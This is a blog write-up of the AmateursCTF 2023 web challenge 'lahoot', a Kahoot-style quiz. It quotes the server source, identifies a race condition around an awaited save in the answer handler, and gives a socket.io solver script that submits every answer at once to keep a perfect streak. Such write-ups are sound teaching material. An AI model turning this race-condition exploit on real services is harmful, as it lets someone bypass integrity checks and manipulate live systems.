Winning Race Condition, Writeup web/lahoot [AmateursCTF 2023]

Muhammad Azril on 2023-07-19

Recently, I participated in AmateursCTF 2023 with HCS (Heroes Cyber Security) Team and we succesfully solved all web challenges. In this article, I will explain how I solved the lahoot challenge.

Overview

As you can see in the image above, in this challenge we’ve given a link and source code of the challenges itself.

lobby page of lahoot

The challenge it self is like simple version of kahoot. The server will always loop the game which consist of 17 rounds and each round has a random questions. Before game started, there is lobby page like you can see on the image above. On the lobby page, we can change our username (default is random). After countdown finished, then we can start playing the game.

There is 4 type of phase on each game :

question-tease phase

Where is the flag?

Let’s try to read the source code that we’ve given.

// file: index.js
...
    let sockets = await io.sockets.fetchSockets();
    let total = config.round_distribution.reduce((a,b) => a + b);
    console.log(`total: ${total}`);
    for(let socket of sockets){
      if(playerState.get(socket.id).streak >= total){
        // player is cracked so we give flag.
        socket.emit("systemMessage",process.env.FLAG || "amateursCTF{t3st3ing_and_d3v3lop3m3nt_fl@g}",true);
      }else{
        socket.emit("systemMessage", "Did you know? High streak players will get an exclusive flag. Sadly you only had a streak of " + playerState.get(socket.id).streak + " but we require " + total)
      }
    }
...

We know that the flag is stored in environtment variables (.env file). According to code above, we can get the real flag if we can answer all questions correctly and get full streak.

Problem

So what’s the problem? The problem is there is almost impossible to answer all questions correctly because of several things :

file: index.js
... 
  while(true){
    await lobby();
    await resetGame();
    currentQuestionRoundIndex = 0;
    for(let r = 0; r < config.round_distribution.length; r ++){
      let seenQuestions = new Set();
      for(let i = 0; i < config.round_distribution[r]; i ++){
        let chosenQuestionIndex = crypto.randomInt(config.questions[r].length);
        let tries = 0; // TODO: delete tries logic, might keep it in for testing
        while(seenQuestions.has(chosenQuestionIndex)){
          chosenQuestionIndex = crypto.randomInt(config.questions[r].length);
          tries ++;
          if(tries > 1000){
            break;
          }
        }
        seenQuestions.add(chosenQuestionIndex);
        currentQuestionRoundIndex ++;

        let chosenQuestion = config.questions[r][chosenQuestionIndex];

        await presentQuestion(chosenQuestion);
      }
    }
...

Finding the vulnerability

We’ve known that flag is on the .env file, so I think there is 3 attack vector :

// file: Dockerfile
FROM node:16
COPY ./* /home/node/app/
WORKDIR /home/node/app
RUN npm install --force
ENV PORT=8081
CMD ["npm", "start"]
EXPOSE 8081

There is 2 important things that we can control, our username and our answer. Since we can change our username, maybe we can try to find some SSTI that can lead to RCE(?). Sadly, the application is rendering on client side, see code below :

// file: public/app.js
...
    function renderLobby(state){
        if(state.phaseState.startTime){
            $("#lobby-estimate").text("Starting in " + formatTime(Math.floor((state.phaseState.startTime - Date.now())/1000)))
        }else{
            $("#lobby-estimate").text("Waiting for server time estimate");
        }
        let playerList = $("#lobby-playerlist");
        playerList.empty();
        let index = 0;
        for(let player of state.players){
            let bgColor = colors[index % 2]; 
            playerList.append($("<div></div>").text(player.name).addClass("p-4 " + "bg-" + bgColor));
            index ++;
        }
        ensureMusic(state.sounds.lobby);
    }
...
    let lbEl = $("#leaderboard");
    socket.on("leaderboardUpdate", (lb) => {
        lbEl.empty();
        for(let player of lb){
            let nameDiv = $("<div></div>").text(player.name + " (streak: " + player.streak + ") ").addClass("flex-none");
            let growDiv = $("<div></div>").addClass("grow");
            let pointsDiv = $("<div></div>").text(player.points + " pts").addClass("flex-none");
            lbEl.append($("<div></div>").append(nameDiv).append(growDiv).append(pointsDiv).addClass("flex"));
        }
        let streaker = lb.reduce((a,b) => {
            if(a.streak > b.streak){
                return a;
            }
            return b;
        });
        $("#streak-stats").text("Out of " + lb.length + " total player(s), " + streaker.name + " has is on a streak of " + streaker.streak + " with " + streaker.points + " pts");
    });
...

After spending time analyzing the source code. I found idea to how to get the flag.

We already know to get the flag, playerState.streak should be equal to total of questions. The value of playerState.streak will incremented or will be 0 depend on whether our socket.id is exist on gottenItCorrect or not.

// file: index.js
async function presentQuestion(question){
  gottenItCorrect.clear();
  
  let sockets = await io.sockets.fetchSockets();
  for(let socket of sockets){
    let pState = getPlayerState(socket.id);
    if(gottenItCorrect.has(socket.id)){
      pState.streak ++;
    }else{
      pState.streak = 0;
    }
    socket.emit("personalUpdate", {
      ...pState,
      correct: gottenItCorrect.has(socket.id)
    });
    playerState.set(socket.id, pState);
  }
  await syncLeaderboardsToPublic();
  ...
}

In index.js there is also code below :

// file: index.js
io.on("connection", (socket) => {
    ...
    socket.on("answerQuestion", async (choice) => {
      if(curPhase != "question-answering"){
        socket.emit("systemMessage", "Question is not open to answer anymore! Sorry. ");
        return;
      }
      ...
      if(player.lastSubmitIndex < currentQuestionRoundIndex){
        ...
        if(correctAnswer == choice){
          ...
          gottenItCorrect.add(socket.id);
        }else{
          // sad no points oof
        }
        player.lastSubmitIndex = currentQuestionRoundIndex;
        await player.save();
      }else{
        socket.emit("systemMessage", "You already submitted an answer to this question. ");
      }
    });
    ...
});

The socket.id will be added to gottenItCorrect if our answer is correct. But, the application didn’t handle case when the answer is wrong. In the future, we can exploit this to get the flag.

The Vulnerability

There is vulnerability called ‘Race Condition’ in this application. Notice there is `await player.save();` in that code, it will wait the function to fully finish and it can be exploited due to race condition. Since, the websocket handle the request synchronously, therefore we can send multiple request to websocket simultaneously to bypass the check of player.lastSubmitIndex.

illustration of race condition on web/lahoot AmateursCTF 2023

Winning the Race

To exploit the vulnerability above, I made solver script in Javascript. Here it is :

import { io } from "socket.io-client";

const socket = io("ws://amt.rs:31458/");

socket.on("systemMessage", (msg) => {
    console.log(`System: ${msg}`);
    if (msg.startsWith("amateursCTF")){
        console.log("Flag: " + msg);
        process.exit(0);
    }
});

socket.on("gameState", (state) => {
    // bruteforce
    if (state.phase === "question-answering") {
        for (let answer of state.phaseState.answers) {
            socket.emit("answerQuestion", answer);
        }
    }
});

socket.on("personalUpdate", (state) => {
    console.log(`Points: ${state.points}, Streak: ${state.streak}`);
});

The idea is to bruteforce all possible answer of each question since there is exist race condition and lack of handling when the choice answer is wrong. Running the solver script above will give you the flag.

Thanks for reading!